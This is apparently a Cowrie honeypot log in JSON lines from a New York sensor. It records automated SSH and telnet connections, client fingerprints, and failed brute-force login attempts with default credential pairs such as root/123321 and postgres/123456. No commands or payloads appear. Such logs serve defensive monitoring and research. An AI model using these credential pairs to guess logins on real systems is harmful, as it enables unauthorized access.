{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:42.664448Z","src_ip":"176.65.132.129","session":"7940393ed4ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:43.749416Z","src_ip":"176.65.132.129","session":"7940393ed4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44402,"dst_ip":"159.203.135.109","dst_port":23,"session":"fab799565b80","protocol":"telnet","message":"New connection: 38.60.198.128:44402 (159.203.135.109:23) [session: fab799565b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:44.963994Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44464,"dst_ip":"10.17.0.5","dst_port":22,"session":"e04367ce3555","protocol":"ssh","message":"New connection: 176.65.132.129:44464 (10.17.0.5:22) [session: e04367ce3555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:45.739103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:45.744567Z","src_ip":"176.65.132.129","session":"e04367ce3555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:45.826160Z","src_ip":"176.65.132.129","session":"e04367ce3555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":38890,"dst_ip":"159.203.135.109","dst_port":22,"session":"786b0aa6a1fc","protocol":"ssh","message":"New connection: 57.128.222.14:38890 (159.203.135.109:22) [session: 786b0aa6a1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:46.053850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:46.059002Z","src_ip":"57.128.222.14","session":"786b0aa6a1fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:46.073653Z","src_ip":"176.65.132.129","session":"e04367ce3555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:46.164210Z","src_ip":"57.128.222.14","session":"786b0aa6a1fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin111!","message":"login attempt [root/Admin111!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:46.613670Z","src_ip":"57.128.222.14","session":"786b0aa6a1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.6393678188324,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:46.761225Z","src_ip":"64.227.82.147","session":"ee5ee5c63bc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:47.156800Z","src_ip":"176.65.132.129","session":"e04367ce3555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:47.720056Z","src_ip":"57.128.222.14","session":"786b0aa6a1fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44476,"dst_ip":"10.17.0.5","dst_port":22,"session":"042ab8eb9f06","protocol":"ssh","message":"New connection: 176.65.132.129:44476 (10.17.0.5:22) [session: 042ab8eb9f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:49.070053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:49.197917Z","src_ip":"176.65.132.129","session":"042ab8eb9f06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:49.201728Z","src_ip":"176.65.132.129","session":"042ab8eb9f06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:49.602509Z","src_ip":"176.65.132.129","session":"042ab8eb9f06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:50.687078Z","src_ip":"176.65.132.129","session":"042ab8eb9f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44498,"dst_ip":"10.17.0.5","dst_port":22,"session":"98c147e0cb91","protocol":"ssh","message":"New connection: 176.65.132.129:44498 (10.17.0.5:22) [session: 98c147e0cb91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:52.709745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:52.713336Z","src_ip":"176.65.132.129","session":"98c147e0cb91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:52.798351Z","src_ip":"176.65.132.129","session":"98c147e0cb91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:53.042520Z","src_ip":"176.65.132.129","session":"98c147e0cb91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:54.224114Z","src_ip":"176.65.132.129","session":"98c147e0cb91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.03487849235535,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:54.965883Z","src_ip":"38.60.198.128","session":"4de90707cb76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33414,"dst_ip":"10.17.0.5","dst_port":22,"session":"1438b4ff55ed","protocol":"ssh","message":"New connection: 176.65.132.129:33414 (10.17.0.5:22) [session: 1438b4ff55ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:56.066086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:56.071901Z","src_ip":"176.65.132.129","session":"1438b4ff55ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:56.154701Z","src_ip":"176.65.132.129","session":"1438b4ff55ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:56.402804Z","src_ip":"176.65.132.129","session":"1438b4ff55ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:57.488714Z","src_ip":"176.65.132.129","session":"1438b4ff55ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33424,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f67b71d33d4","protocol":"ssh","message":"New connection: 176.65.132.129:33424 (10.17.0.5:22) [session: 5f67b71d33d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:59.562893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:59.568040Z","src_ip":"176.65.132.129","session":"5f67b71d33d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:59.650428Z","src_ip":"176.65.132.129","session":"5f67b71d33d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:59.896334Z","src_ip":"176.65.132.129","session":"5f67b71d33d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:00.981013Z","src_ip":"176.65.132.129","session":"5f67b71d33d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33438,"dst_ip":"10.17.0.5","dst_port":22,"session":"65bc8bf42a39","protocol":"ssh","message":"New connection: 176.65.132.129:33438 (10.17.0.5:22) [session: 65bc8bf42a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:02.891840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:02.898720Z","src_ip":"176.65.132.129","session":"65bc8bf42a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:02.982168Z","src_ip":"176.65.132.129","session":"65bc8bf42a39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:03.235444Z","src_ip":"176.65.132.129","session":"65bc8bf42a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:04.327552Z","src_ip":"176.65.132.129","session":"65bc8bf42a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54448,"dst_ip":"10.17.0.5","dst_port":22,"session":"42d978d44746","protocol":"ssh","message":"New connection: 176.65.132.129:54448 (10.17.0.5:22) [session: 42d978d44746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:06.344735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:06.363406Z","src_ip":"176.65.132.129","session":"42d978d44746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:06.588607Z","src_ip":"176.65.132.129","session":"42d978d44746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:06.868519Z","src_ip":"176.65.132.129","session":"42d978d44746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:07.954261Z","src_ip":"176.65.132.129","session":"42d978d44746","protocol":"ssh"}
